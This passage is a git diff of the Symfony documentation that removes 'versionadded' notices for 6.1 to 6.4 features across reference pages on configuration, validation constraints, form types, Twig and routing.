diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index aefbcac2fce..f31921cfc9c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -60,10 +60,6 @@ thrown by the application and will turn them into HTTP responses.
 
 Starting from Symfony 7.0, the default value of this option will be ``true``.
 
-.. versionadded:: 6.2
-
-    The ``handle_all_throwables`` option was introduced in Symfony 6.2.
-
 .. _configuration-framework-http_cache:
 
 http_cache
@@ -124,10 +120,6 @@ skip_response_headers
 Set of response headers that will never be cached even when the response is cacheable
 and public.
 
-.. versionadded:: 6.3
-
-    The ``skip_response_headers`` option was introduced in Symfony 6.3.
-
 allow_reload
 ............
 
@@ -210,10 +202,6 @@ trust_x_sendfile_type_header
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 6.1
-
-    The ``trust_x_sendfile_type_header`` option was introduced in Symfony 6.1.
-
 ``X-Sendfile`` is a special HTTP header that tells web servers to replace the
 response contents by the file that is defined in that header. This improves
 performance because files are no longer served by your application but directly
@@ -300,10 +288,6 @@ feature is to configure it on a system level. First, you can define this option
 in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
 when ``framework.ide`` config is not set.
 
-.. versionadded:: 6.1
-
-    ``SYMFONY_IDE`` environment variable support was introduced in Symfony 6.1.
-
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the
 ``framework.ide`` option, but without the need to escape the percent signs
@@ -1016,10 +1000,6 @@ crypto_method
 The minimum version of TLS to accept. The value must be one of the
 ``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
-.. versionadded:: 6.3
-
-    The ``crypto_method`` option was introduced in Symfony 6.3.
-
 delay
 .....
 
@@ -1045,10 +1025,6 @@ extra
 Arbitrary additional data to pass to the HTTP client for further use.
 This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
 
-.. versionadded:: 6.3
-
-    The ``extra`` option has been introduced in Symfony 6.3.
-
 .. _http-headers:
 
 headers
@@ -1263,10 +1239,6 @@ enough to be sure about the server, so you should combine this with the
 html_sanitizer
 ~~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    The HTML sanitizer configuration was introduced in Symfony 6.1.
-
 The ``html_sanitizer`` option (and its children) are used to configure
 custom HTML sanitizers. Read more about the options in the
 :ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
@@ -1357,10 +1329,6 @@ Set this option to ``true`` to enable the serializer data collector and its
 profiler panel. When this option is ``true``, all normalizers and encoders are
 decorated by traceable implementations that collect profiling information about them.
 
-.. versionadded:: 6.1
-
-    The ``collect_serializer_data`` option was introduced in Symfony 6.1.
-
 rate_limiter
 ~~~~~~~~~~~~
 
@@ -1542,10 +1510,6 @@ cache_dir
 The directory where routing information will be cached. Can be set to
 ``~`` (``null``) to disable route caching.
 
-.. versionadded:: 6.2
-
-    The ``cache_dir`` setting was introduced in Symfony 6.2.
-
 secrets
 ~~~~~~~
 
@@ -3374,10 +3338,6 @@ Name of the lock you want to create.
 semaphore
 ~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    The ``semaphore`` option was introduced in Symfony 6.1.
-
 **type**: ``string`` | ``array``
 
 The default semaphore adapter. Store's DSN are also allowed.
@@ -3824,10 +3784,6 @@ to the ``#[WithHttpStatus]`` attribute on the exception class::
     {
     }
 
-.. versionadded:: 6.3
-
-    The ``#[WithHttpStatus]`` attribute was introduced in Symfony 6.3.
-
 It is also possible to map a log level on a custom exception class using
 the ``#[WithLogLevel]`` attribute::
 
@@ -3841,10 +3797,6 @@ the ``#[WithLogLevel]`` attribute::
     {
     }
 
-.. versionadded:: 6.3
-
-    The ``#[WithLogLevel]`` attribute was introduced in Symfony 6.3.
-
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index c6c0669d1a4..2bfa662db8c 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -25,11 +25,6 @@ method of the kernel class, which you can override to return a different value.
 You can also change the build directory by defining an environment variable
 named ``APP_BUILD_DIR`` whose value is the absolute path of the build folder.
 
-.. versionadded:: 6.4
-
-    The support of the ``APP_BUILD_DIR`` environment variable was introduced in
-    Symfony 6.4.
-
 ``kernel.bundles``
 ------------------
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d6ffd07f102..aaa862fd2f1 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -497,10 +497,6 @@ It's also possible to use ``*`` as a wildcard for all directives:
             ],
         ]);
 
-.. versionadded:: 6.3
-
-    The ``clear_site_data`` option was introduced in Symfony 6.3.
-
 invalidate_session
 ..................
 
@@ -541,10 +537,6 @@ Set this option to ``true`` to enable CSRF protection in the logout process
 using Symfony's default CSRF token manager. Set also the ``csrf_token_manager``
 option if you need to use a custom CSRF token manager.
 
-.. versionadded:: 6.2
-
-    The ``enable_csrf`` option was introduced in Symfony 6.2.
-
 csrf_parameter
 ..............
 
@@ -807,10 +799,6 @@ user_identifier
 
 **type**: ``string`` **default**: ``emailAddress``
 
-.. versionadded:: 6.3
-
-    The ``user_identifier`` option was introduced in Symfony 6.3.
-
 The value of this option tells Symfony which parameter to use to find the user
 identifier in the "distinguished name".
 
@@ -1013,10 +1001,6 @@ the session must not be used when authenticating users:
 Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
 when they are not explicitly configured stateless or not.
 
-.. versionadded:: 6.3
-
-    Stateless firewall marking routes stateless was introduced in Symfony 6.3.
-
 User Checkers
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 78a895bb4b8..883b0b11eb7 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -57,11 +57,6 @@ called to determine the default escaping applied to the template.
 If the service defined in ``autoescape_service`` is invocable (i.e. it defines
 the `__invoke() PHP magic method`_) you can omit this option.
 
-.. versionadded:: 6.4
-
-    The feature to use invocable services to omit this option was introduced in
-    Symfony 6.4.
-
 base_template_class
 ~~~~~~~~~~~~~~~~~~~
 
@@ -155,10 +150,6 @@ file_name_pattern
 
 **type**: ``string`` or ``array`` of ``string`` **default**: ``[]``
 
-.. versionadded:: 6.1
-
-    The ``file_name_pattern`` option was introduced in Symfony 6.1.
-
 Some applications store their front-end assets in the same directory as Twig
 templates. The ``lint:twig`` command filters those files to only lint the ones
 that match the ``*.twig`` filename pattern.
@@ -289,10 +280,6 @@ html_to_text_converter
 
 **type**: ``string`` **default**: ````
 
-.. versionadded:: 6.2
-
-    The ``html_to_text_converter`` option was introduced in Symfony 6.2.
-
 The service implementing
 :class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface`
 that will be used to automatically create the text part of an email from its
diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index bd6050add0b..3c99f423b0f 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -95,8 +95,4 @@ The ``groups`` option is not available for this constraint.
 This option can be used to exclude one or more properties from the
 cascade validation.
 
-.. versionadded:: 6.3
-
-    The ``exclude`` option was introduced in Symfony 6.3.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8e3b11a01ce..cd30e888245 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -315,10 +315,6 @@ When this option is ``false``, the constraint checks that the given value is
 not one of the values defined in the ``choices`` option. In practice, it makes
 the ``Choice`` constraint behave like a ``NotChoice`` constraint.
 
-.. versionadded:: 6.2
-
-    The ``match`` option was introduced in Symfony 6.2.
-
 ``message``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 3f4207471c1..516d6d07dca 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -116,10 +116,6 @@ This option defines the pattern used to validate the email address. Valid values
   `egulias/email-validator`_ library (which is already installed when using
   :doc:`Symfony Mailer </mailer>`; otherwise, you must install it separately).
 
-.. versionadded:: 6.2
-
-   The ``html5-allow-no-tld`` mode was introduced in 6.2.
-
 .. tip::
 
     The possible values of this option are also defined as PHP constants of
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 1f3b4dcdb7c..bf015d17573 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -127,10 +127,6 @@ about the :doc:`expression language syntax </reference/formats/expression_langua
 Alternatively, you can set the ``negate`` option to ``false`` in order to
 assert that the expression must return ``true`` for validation to fail.
 
-.. versionadded:: 6.2
-
-   The ``negate`` option was introduced in Symfony 6.2.
-
 .. sidebar:: Mapping the Error to a Specific Field
 
     You can also attach the constraint to a specific property and still validate
@@ -247,10 +243,6 @@ in your expression:
 You also have access to the ``is_valid()`` function in your expression. This function
 checks that the data passed to function doesn't raise any validation violation.
 
-.. versionadded:: 6.4
-
-    The ``is_valid()`` expression function was introduced in Symfony 6.4.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``
@@ -276,10 +268,6 @@ Parameter        Description
 
 If ``false``, the validation fails when expression returns ``true``.
 
-.. versionadded:: 6.2
-
-   The ``negate`` option was introduced in Symfony 6.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``values``
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1c12ce0f103..13aec13b0d5 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -156,10 +156,6 @@ see `Wikipedia: Binary prefix`_.
 
 **type**: ``array`` or ``string``
 
-.. versionadded:: 6.2
-
-    The ``extensions`` option was introduced in Symfony 6.2.
-
 If set, the validator will check that the extension and the media type
 (formerly known as MIME type) of the underlying file are equal to the given
 extension and associated media type (if a string) or exist in the collection
@@ -275,10 +271,6 @@ You can find a list of existing mime types on the `IANA website`_.
 
 **type**: ``integer`` **default**: ``null``
 
-.. versionadded:: 6.3
-
-    The ``filenameMaxLength`` was introduced in Symfony 6.3.
-
 If set, the validator will check that the filename of the underlying file
 doesn't exceed a certain length.
 
@@ -287,10 +279,6 @@ doesn't exceed a certain length.
 
 **type**: ``string`` **default**: ``The filename is too long. It should have {{ filename_max_length }} character or less.|The filename is too long. It should have {{ filename_max_length }} characters or less.``
 
-.. versionadded:: 6.3
-
-    The ``filenameTooLongMessage`` was introduced in Symfony 6.3.
-
 The message displayed if the filename of the file exceeds the limit set
 with the ``filenameMaxLength`` option.
 
@@ -307,10 +295,6 @@ Parameter                       Description
 
 **type**: ``string`` **default**: ``The extension of the file is invalid ({{ extension }}). Allowed extensions are {{ extensions }}.``
 
-.. versionadded:: 6.2
-
-    The ``extensionsMessage`` option was introduced in Symfony 6.2.
-
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 4eed36347c6..5b7cb581db5 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -144,10 +144,6 @@ Can be one of the following constants of the
 * ``COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the length of the string in
   graphemes, i.e. even emojis and ZWJ sequences of composed emojis count as 1 character.
 
-.. versionadded:: 6.3
-
-    The ``countUnit`` option was introduced in Symfony 6.3.
-
 ``exactly``
 ~~~~~~~~~~~
 
@@ -180,10 +176,6 @@ Parameter               Description
 ``{{ value_length }}``  The current value's length
 ======================  ============================================================
 
-.. versionadded:: 6.3
-
-    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``max``
@@ -214,10 +206,6 @@ Parameter               Description
 ``{{ value_length }}``  The current value's length
 ======================  ============================================================
 
-.. versionadded:: 6.3
-
-    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
-
 ``min``
 ~~~~~~~
 
@@ -250,10 +238,6 @@ Parameter               Description
 ``{{ value_length }}``  The current value's length
 ======================  ============================================================
 
-.. versionadded:: 6.3
-
-    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst
index cfc23141553..00e28cd6da1 100644
--- a/reference/constraints/NoSuspiciousCharacters.rst
+++ b/reference/constraints/NoSuspiciousCharacters.rst
@@ -1,10 +1,6 @@
 NoSuspiciousCharacters
 ======================
 
-.. versionadded:: 6.3
-
-    The ``NoSuspiciousCharacters`` constraint was introduced in Symfony 6.3.
-
 Validates that the given string does not contain characters used in spoofing
 security attacks, such as invisible characters such as zero-width spaces or
 characters that are visually similar.
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 10a19b342d6..5e1d737c524 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -1,10 +1,6 @@
 PasswordStrength
 ================
 
-.. versionadded:: 6.3
-
-    The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
-
 Validates that the given password has reached the minimum strength required by
 the constraint. The strengh of the password is not evaluated with a set of
 predefined rules (include a number, use lowercase and uppercase characters,
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index cd9d8c1ce45..bc042e1eb86 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -272,10 +272,6 @@ Parameter          Description
 ``{{ pattern }}``  The expected matching pattern
 =================  ==============================================================
 
-.. versionadded:: 6.3
-
-   The ``{{ pattern }}`` parameter was introduced in 6.3.
-
 ``pattern``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 1732fb584f0..6d4de73398f 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -115,8 +115,4 @@ Option     Pattern                          Correct value   Incorrect value
 ``false``  ``/^(\d{2}):(\d{2})$/``          ``12:00``       ``12:00:00``
 =========  ===============================  ==============  ================
 
-.. versionadded:: 6.4
-
-    The ``withSeconds`` option was introduced in Symfony 6.4.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index f10d1423997..1bb4035c7fd 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -214,9 +214,5 @@ Finally, you can use aggregated functions:
 * ``finite-float``: ``is_float && is_finite``
 * ``finite-number``: ``is_int || is_float && is_finite``
 
-.. versionadded:: 6.4
-
-    ``number``, ``finite-float`` and ``finite-number`` were introduced in Symfony 6.4.
-
 .. _built-in PHP extension: https://www.php.net/book.ctype
 .. _a list of ctype functions: https://www.php.net/ref.ctype
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 1f5631abc95..c7ee71329c4 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -96,10 +96,6 @@ Options
 **type**: ``array`` | ``string``
 
 
-.. versionadded:: 6.1
-
-    The ``fields`` option was introduced in Symfony 6.1.
-
 This is defines the key or keys in a collection that should be checked for
 uniqueness. By default, all collection keys are checked for uniqueness.
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 3235f1ed4fb..ad7c09f1c31 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -361,11 +361,6 @@ this option to specify one or more fields to only ignore ``null`` values on them
     database, you might see insertion errors when your application attempts to
     persist entities that the ``UniqueEntity`` constraint considers valid.
 
-.. versionadded:: 6.3
-
-    The option to ignore ``null`` values for specific fields was introduced
-    in Symfony 6.3.
-
 ``message``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index d8ff5fadb8b..c9f6c9741bf 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -129,15 +129,6 @@ you can also use the following PHP constants to refer to each UUID version:
 * ``Uuid::V7_MONOTONIC``
 * ``Uuid::V8_CUSTOM``
 
-.. versionadded:: 6.2
-
-    UUID versions 7 and 8 were introduced in Symfony 6.2.
-
-.. versionadded:: 6.4
-
-    Using a single integer instead of an integer array for this option
-    was introduced in Symfony 6.4.
-
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 144c1e3904c..e1e8ac895ce 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -1,10 +1,6 @@
 When
 ====
 
-.. versionadded:: 6.2
-
-    The ``When`` constraint was introduced in Symfony 6.2.
-
 This constraint allows you to apply constraints validation only if the
 provided expression returns true. See `Basic Usage`_ for an example.
 
@@ -275,10 +271,6 @@ You can also pass custom variables using the `values`_ option.
 
 One or multiple constraints that are applied if the expression returns true.
 
-.. versionadded:: 6.4
-
-    Passing a single ``Constraint`` instead of an array was introduced in Symfony 6.4.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 9983188c2ce..952705660c9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -337,13 +337,6 @@ Value resolvers implement the
 and are used to resolve argument values for controllers as described here:
 :doc:`/controller/argument_value_resolver`.
 
-.. versionadded:: 6.2
-
-    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
-    6.2, you had to use the
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
-    which defines different methods.
-
 data_collector
 --------------
 
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index a561ed5ce6d..dcd4d80aaec 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -21,11 +21,6 @@ The component supports:
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
-.. versionadded:: 6.1
-
-    Support for decimals without leading zeros and underscore separators were
-    introduced in Symfony 6.1.
-
 .. caution::
 
     A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
@@ -114,10 +109,6 @@ operator)::
     $expressionLanguage->evaluate('fruit?.color', ['fruit' => '...'])
     $expressionLanguage->evaluate('fruit?.getStock()', ['fruit' => '...'])
 
-.. versionadded:: 6.1
-
-    The null safe operator was introduced in Symfony 6.1.
-
 .. _component-expression-functions:
 
 Working with Functions
@@ -176,10 +167,6 @@ This function will return the case of an enumeration::
 
 This will print out ``true``.
 
-.. versionadded:: 6.3
-
-    The ``enum()`` function was introduced in Symfony 6.3.
-
 .. tip::
 
     To read how to register your own functions to use in an expression, see
@@ -255,11 +242,6 @@ Comparison Operators
 * ``starts with``
 * ``ends with``
 
-.. versionadded:: 6.1
-
-    The ``contains``, ``starts with`` and ``ends with`` operators were introduced
-    in Symfony 6.1.
-
 .. tip::
 
     To test if a string does *not* match a regex, use the logical ``not``
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 3130dd1d87b..64adac599fb 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -346,10 +346,6 @@ official YAML specification but are useful in Symfony applications:
           # ... or you can also use "->value" to directly use the value of a BackedEnum case
           operator_type: !php/enum App\Operator\Enum\Type::Or->value
 
-.. versionadded:: 6.2
-
-    The ``!php/enum`` tag was introduced in Symfony 6.2.
-
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c18c558dbdc..d21802bbb91 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -200,10 +200,6 @@ prototype_options
 
 **type**: ``array`` **default**: ``[]``
 
-.. versionadded:: 6.1
-
-    The ``prototype_options`` option was introduced in Symfony 6.1.
-
 This is the array that's passed to the form type specified in the `entry_type`_
 option when creating its prototype. It allows to have different options depending
 on whether you are adding a new entry or editing an existing entry::
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 12fdc125177..eb22715407f 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -80,10 +80,6 @@ implement ``TranslatableInterface`` to translate or display custom labels::
         }
     }
 
-.. versionadded:: 6.4
-
-    Support for ``TranslatableInterface`` was introduced in Symfony 6.4.
-
 Field Options
 -------------
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 04a3676f7d4..77e685486a8 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -60,10 +60,6 @@ include an `inputmode HTML attribute`_ which depends on the value of this option
 If the ``scale`` value is ``0``, ``inputmode`` will be ``numeric``; if ``scale``
 is set to any value greater than ``0``, ``inputmode`` will be ``decimal``.
 
-.. versionadded:: 6.1
-
-   The automatic addition of the ``inputmode`` attribute was introduced in Symfony 6.1.
-
 Overridden Options
 ------------------
 
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 0071498916f..3d83e44da52 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,12 +29,6 @@ more control::
         },
     ]);
 
-.. versionadded:: 6.2
-
-    Starting from Symfony 6.2, you can use any object that implements
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` as the value
-    of the choice label.
-
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:
diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
index 72e85067bd3..7569d54a21b 100644
--- a/reference/forms/types/options/duplicate_preferred_choices.rst.inc
+++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
@@ -20,7 +20,3 @@ option to ``false``, to only display preferred choices at the top of the list::
         'preferred_choices' => ['muppets', 'arr'],
         'duplicate_preferred_choices' => false,
     ]);
-
-.. versionadded:: 6.4
-
-    The ``duplicate_preferred_choices`` option was introduced in Symfony 6.4.
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index 8c9bb5ce917..7d8fcdbec6b 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -19,8 +19,3 @@ rendered below the field::
             'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
         ])
     ;
-
-.. versionadded:: 6.2
-
-    The support for ``TranslatableInterface`` objects as help contents was
-    introduced in Symfony 6.2.
diff --git a/reference/forms/types/options/placeholder_attr.rst.inc b/reference/forms/types/options/placeholder_attr.rst.inc
index 49b656cc6df..e537aae8922 100644
--- a/reference/forms/types/options/placeholder_attr.rst.inc
+++ b/reference/forms/types/options/placeholder_attr.rst.inc
@@ -15,7 +15,3 @@ Use this to add additional HTML attributes to the placeholder choice::
             ['title' => 'Choose an option'],
         ],
     ]);
-
-.. versionadded:: 6.3
-
-    The ``placeholder_attr`` option was introduced in Symfony 6.3.
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
index d5525674815..1f906fd1354 100644
--- a/reference/forms/types/options/sanitize_html.rst.inc
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -3,10 +3,6 @@ sanitize_html
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 6.1
-
-    The ``sanitize_html`` option was introduced in Symfony 6.1.
-
 When ``true``, the text input will be sanitized using the
 :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
 submitted. This protects the form input against XSS, clickjacking and CSS
diff --git a/reference/forms/types/options/sanitizer.rst.inc b/reference/forms/types/options/sanitizer.rst.inc
index 66a76d591e7..39217653b3c 100644
--- a/reference/forms/types/options/sanitizer.rst.inc
+++ b/reference/forms/types/options/sanitizer.rst.inc
@@ -3,9 +3,5 @@ sanitizer
 
 **type**: ``string`` **default**: ``"default"``
 
-.. versionadded:: 6.1
-
-    The ``sanitizer`` option was introduced in Symfony 6.1.
-
 When `sanitize_html`_ is enabled, you can specify the name of a
 :ref:`custom sanitizer <html-sanitizer-configuration>` using this option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index d9b0f4cf066..d244a784755 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -37,10 +37,6 @@ entered into the box, set this to false and submit the form.
 
 **type**: ``string`` **default**: ``null``
 
-.. versionadded:: 6.2
-
-    The ``hash_property_path`` option was introduced in Symfony 6.2.
-
 If set, the password will be hashed using the
 :doc:`PasswordHasher component </security/passwords>` and stored in the
 property defined by the given :doc:`PropertyAccess expression </components/property_access>`.
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 47b06ec2ea4..ef806adbc59 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -300,10 +300,6 @@ Generates a URL that you can visit to
 :doc:`impersonate a user </security/impersonating_user>`, identified by the
 ``identifier`` argument.
 
-.. versionadded:: 6.4
-
-    The ``impersonation_path()`` function was introduced in Symfony 6.4.
-
 impersonation_url
 ~~~~~~~~~~~~~~~~~
 
@@ -317,10 +313,6 @@ impersonation_url
 It's similar to the `impersonation_path`_ function, but it generates
 absolute URLs instead of relative URLs.
 
-.. versionadded:: 6.4
-
-    The ``impersonation_url()`` function was introduced in Symfony 6.4.
-
 impersonation_exit_path
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -442,10 +434,6 @@ Translates the text into the current language. More information in
 sanitize_html
 ~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    The ``sanitize_html()`` filter was introduced in Symfony 6.1.
-
 .. code-block:: twig
 
     {{ body|sanitize_html(sanitizer = "default") }}
diff --git a/routing.rst b/routing.rst
index fb5931cc517..8a75eb195cb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -48,10 +48,6 @@ classes declared in the ``App\Controller`` namespace and stored in the
 act as a controller too, which is especially useful for small applications that
 use Symfony as a microframework.
 
-.. versionadded:: 6.2
-
-    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
-
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:
 
@@ -374,10 +370,6 @@ can use any of these variables created by Symfony:
     An array of matched :ref:`route parameters <routing-route-parameters>` for
     the current route.
 
-.. versionadded:: 6.1
-
-    The ``params`` variable was introduced in Symfony 6.1.
-
 You can also use these functions:
 
 ``env(string $name)``
@@ -408,11 +400,6 @@ You can also use these functions:
         // Or without alias:
         #[Route(condition: "service('App\\\Service\\\RouteChecker').check(request)")]
 
-.. versionadded:: 6.1
-
-    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]``
-    attribute were introduced in Symfony 6.1.
-
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
@@ -467,10 +454,6 @@ route details:
     Use the ``--show-aliases`` option to show all available aliases for a given
     route.
 
-.. versionadded:: 6.4
-
-    The ``--show-aliases`` option was introduced in Symfony 6.4.
-
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:
@@ -664,10 +647,6 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
-    .. versionadded:: 6.1
-
-        The ``Requirement`` enum was introduced in Symfony 6.1.
-
 .. tip::
 
     Route requirements (and route paths too) can include
@@ -956,12 +935,6 @@ A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
 represents the user). This feature is called a "param converter".
 
-.. versionadded:: 6.2
-
-    Starting from Symfony 6.2, route param conversion is a built-in feature.
-    In previous Symfony versions you had to install the package
-    ``sensio/framework-extra-bundle`` before using this feature.
-
 Now, keep the previous route configuration, but change the arguments of the
 controller action. Instead of ``string $slug``, add ``BlogPost $post``::
 
@@ -998,10 +971,6 @@ database queries used to fetch the object from the route parameter.
 Backed Enum Parameters
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The support of ``\BackedEnum`` as route parameters was introduced Symfony 6.3.
-
 You can use PHP `backed enumerations`_ as route parameters because Symfony will
 convert them automatically to their scalar values.
 
@@ -1622,13 +1591,6 @@ the current route and its attributes:
     {% set route_name = app.current_route %}
     {% set route_parameters = app.current_route_parameters %}
 
-.. versionadded:: 6.2
-
-    The ``app.current_route`` and ``app.current_route_parameters`` variables
-    were introduced in Symfony 6.2.
-    Before you had to access ``_route`` and ``_route_params`` request
-    attributes using ``app.request.attributes.get()``.
-
 Special Routes
 --------------
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index d02e6b31519..0cea7d6b9fd 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -108,15 +108,6 @@ Symfony provides several route loaders for the most common needs:
